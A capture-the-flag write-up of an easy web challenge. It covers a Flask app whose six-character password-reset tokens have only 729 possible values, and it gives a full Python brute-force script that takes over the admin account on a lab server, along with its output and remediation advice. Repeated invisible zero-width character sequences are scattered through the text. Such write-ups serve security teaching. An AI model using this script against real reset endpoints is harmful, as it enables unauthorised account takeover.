← Back to Writeups
CUSTOMEasyWeb

Тетрис (Tetris)

XESXOR9/2/20263 min read
#web#custom#easy#admin-account-takeover#password-reset-token-exploitat#session-cookie-hijacking#weak-token-bruteforce-(729-com

Тетрис (Tetris)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-01-04 | Status: Solved Techniques: Admin account takeover, Password reset token exploitation, Session cookie hijacking, Weak token bruteforce (729 combinations)

Summary

Task: Flask web app with password reset functionality. Solution: Bruteforce weak reset token (only 729 combinations using characters b, c, d) to take over admin account and access admin panel.

Тетрис (Tetris) — hackerlab

Description

Сможете ли вы найти способ получить доступ к учетной записи администратора, пока он занят установкой новых рекордов?

Target: http://62.173.140.174:16060

Analysis

Application Reconnaissance

Flask/Python web application (Werkzeug/3.1.3 Python/3.9.18) with functionality:

  • Login form with redirect to /login
  • Registration (blocks username "admin")
  • Password reset at /reset_password
  • Admin panel at /admin (requires session['user'] == 'admin')

Token Generation Vulnerability

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

A critical vulnerability was discovered in the password reset token generation function:

python
def _generate_token():
    _allowed = [98, 99, 100]  # characters 'b', 'c', 'd'
    _result = []
    for _ in range(6):
        _v = _allowed[random.randint(0, len(_allowed) - 1)]
        _result.append(chr(_v))
    return ''.join(_result)

Problem: The token consists of only 6 characters, each of which can be 'b', 'c', or 'd'.

Search space: 3^6 = 729 possible combinations — trivial to bruteforce! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Attack Vector

  1. Request password reset for admin user via POST /reset_password
  2. Bruteforce all 729 possible tokens at /reset/<token>
  3. Valid token returns 302 redirect and sets session cookie with admin
  4. Get flag at /admin

Exploit

python
#!/usr/bin/env python3
"""
Tetris - Weak Password Reset Token Bruteforce
hackerlab CTF

Token space: (b, c, d)^6 = 729 combinations
"""
import requests
import itertools
import re

BASE_URL = "http://62.173.140.174:16060"

# Generate all possible tokens: 3^6 = 729 combinations
chars = ['b', 'c', 'd']
tokens = [''.join(p) for p in itertools.product(chars, repeat=6)]
print(f"[*] Generated {len(tokens)} possible tokens")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

session = requests.Session()

# Step 1: Request password reset for admin
print("[*] Requesting password reset for admin...")
resp = session.post(f"{BASE_URL}/reset_password", data={"username": "admin"})
print(f"[*] Reset request status: {resp.status_code}")

# Step 2: Bruteforce tokens
print("[*] Bruteforcing tokens...")
for i, token in enumerate(tokens):
    resp = session.get(f"{BASE_URL}/reset/{token}", allow_redirects=False)
    
    if resp.status_code == 302:
        print(f"[+] Found valid token: {token} (attempt {i+1}/{len(tokens)})")
        
        # Follow redirect to get session
        location = resp.headers.get('Location', '/')
        session.get(BASE_URL + location)
        
        # Step 3: Get flag from admin page
        admin_resp = session.get(f"{BASE_URL}/admin")
        flag_match = re.search(r'CODEBY\{[^}]+\}', admin_resp.text)
        
        if flag_match:
            print(f"[FLAG] {flag_match.group()}")
        else:
            print("[*] Admin page content:")
            print(admin_resp.text[:500])
        break
    
    if (i + 1) % 100 == 0:
        print(f"[*] Progress: {i+1}/{len(tokens)} tokens tested...")
else:
    print("[-] No valid token found")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Result

[*] Generated 729 possible tokens
[*] Requesting password reset for admin...
[*] Reset request status: 200
[*] Bruteforcing tokens...
[+] Found valid token: bdbdbd (attempt 247/729)
[FLAG] CODEBY{REDACTED}

Lessons

  1. Token entropy is critical: 729 combinations is catastrophically low. Minimum 128 bits of entropy for security tokens.

  2. Use cryptographically secure random: secrets.token_urlsafe(32) instead of random.randint().

  3. Rate limiting is mandatory: Even a weak token is protected if you can't make 729 requests in a row. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  4. Task name is a hint: "Tetris" — a game with falling blocks. The token "falls" (bruteforce) very quickly.

Secure Alternative

python
import secrets

def generate_secure_token():
    # 32 bytes = 256 bits of entropy
    # URL-safe base64 encoding
    return secrets.token_urlsafe(32)

Result: dGhpc19pc19hX3NlY3VyZV90b2tlbl9leGFtcGxl — impossible to bruteforce. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍